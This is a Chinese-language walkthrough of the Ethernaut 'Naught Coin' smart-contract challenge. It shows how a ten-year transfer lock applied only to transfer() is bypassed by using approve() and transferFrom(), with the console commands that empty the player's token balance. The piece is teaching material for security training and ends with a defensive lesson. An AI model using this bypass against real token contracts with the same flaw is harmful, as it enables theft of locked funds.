(https://ethernaut.openzeppelin.com/level/0x096bb5e93a204BfD701502EB6EF266a950217218)
這一關的合約寫了一個ERC-20的代幣Naught Coin,目前player在此合約中擁有許多的Naught Coin,但程式有限制條件,要有一個10年的等待期,過了等待期後才能transfer,而此關的目標就是將Naught Coin提空!
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
方法一,我們等10年;過關!
方法二,目前的等10年限制是用modifier寫在transfer這個函數,如果…我們呼叫別的函數來將Naught Coin轉出去,而該函數沒有lockTokens的modifier,就可以避開10年限制。而ERC-20中還有一個函數可以轉移Token,that’s right,transferFrom()!
transferFrom()之前要先approve(),讓某個帳號可以轉出錢,然後再使用transferFrom()即可以完成轉移Token的目標的,此題直接在console 裡即可完成,所下指令如下所列:
(await contract.balanceOf(player)).toString(); //amount= 1000000000000000000000000
await contract.allowance(player,player); //目前的allowance = 0
await contract.approve(player,"1000000000000000000000000");
await contract.allowance(player,player); //allowance=1000000000000000000000000
await contract.transferFrom(player, "電子錢包位址", "1000000000000000000000000"); //電子錢包位址是要轉出去的錢包address
(await contract.balanceOf(player)).toString(); //amount = 0
check player的balanceOf是0後,就可以 submit level了!
*Takeaway:
- 部分採用ERC-20的合約只著重在override transfer,包含所有的保護機制,但別忘了ERC-20還包含了transferFrom,需要我們一樣的關心。